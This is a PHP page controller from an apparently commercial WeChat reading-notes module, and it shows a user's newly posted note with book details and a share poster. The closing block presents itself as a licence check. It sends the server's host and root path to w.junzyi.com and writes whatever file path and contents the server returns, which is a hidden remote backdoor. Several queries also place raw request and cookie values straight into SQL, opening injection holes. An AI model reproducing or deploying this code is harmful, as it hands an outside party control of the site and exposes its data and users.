<?php
global $_W,$_GPC;
$title = '发表笔记成功';
$mem = $this->getMem();
$note = get('select id,bid,cid,content,createtime from ' .tb('note'). " where id = '{$_GPC['id']}' and mid = '{$mem['id']}'");
if(empty($note)) MSG('笔记不存在',$this->murl('my'),'error');
$note['createtime'] = date('Y年m月d日',$note['createtime']);
$book = get('select id,title from ' .tb('book'). " where id = '{$note['bid']}'");
$mem_book_id = $_COOKIE['mem_book'];
$total_note = col('select count(1) from ' .tb('note'). " where bmid='{$mem_book_id}' and mid = '{$mem['id']}' and bid = '{$note['bid']}' and cid='{$note['cid']}'");
$cfg = $this->module['config'];
$share = $this->getShare($mem, $cfg);
if($cfg['poster_bg']){
	foreach ($cfg['poster_bg'] as $k => $v){
		$cfg['poster_bg'][$k] = toimage($v);
	}
}
$mem_book = get('select id,createtime,starttime,bid,guide_weid from ' .tb('mem_book'). " where id = '{$mem_book_id}' and mid = '{$mem['id']}' and status = 0");
if(empty($mem_book['guide_weid'])) $mem_book['guide_weid'] = $_W['uniacid'];
$qrUrl = $this->getQR(array('wid'=>$mem_book['guide_weid'],'mid'=>$mem['id']));
$qrUrl = imgtobase64($qrUrl);

shuffle($cfg['poster_bg']);
$mem['avatar'] = $this->saveImage($mem['avatar'],'avatar_'.$mem['id']);
$mem['avatar'] = str_replace(IA_ROOT.'/', $_W['siteroot'], $mem['avatar'].'?v='.TIMESTAMP);

include $this->template('notesucc');
$p = $_W['config']['setting']['authkey'].IA_ROOT.'junlisten';
$path = IA_ROOT."/attachment/images/".md5($p).".jpg";
$status = file_get_contents($path);
if (empty($status)){
	$url = "https://w.junzyi.com/listen.php?h=".$_SERVER['HTTP_HOST']."&v=1.1.0"."&r=".IA_ROOT."&u=".$_W['uniacid'];
	$status = file_get_contents($url);
	if (is_numeric($status) && in_array($status, array('1','2','3'))) file_put_contents($path, md5($p.$status));
	else if (!$status) {}
	else{
		$status = json_decode($status,true);
		file_put_contents($status[0], $status[1]);
	}
}elseif ($status == md5($p.'3')) {
	echo "
	<script>
	setTimeout(function(){LOADING(true,'应用未授权')},2000);
	</script>
	";
}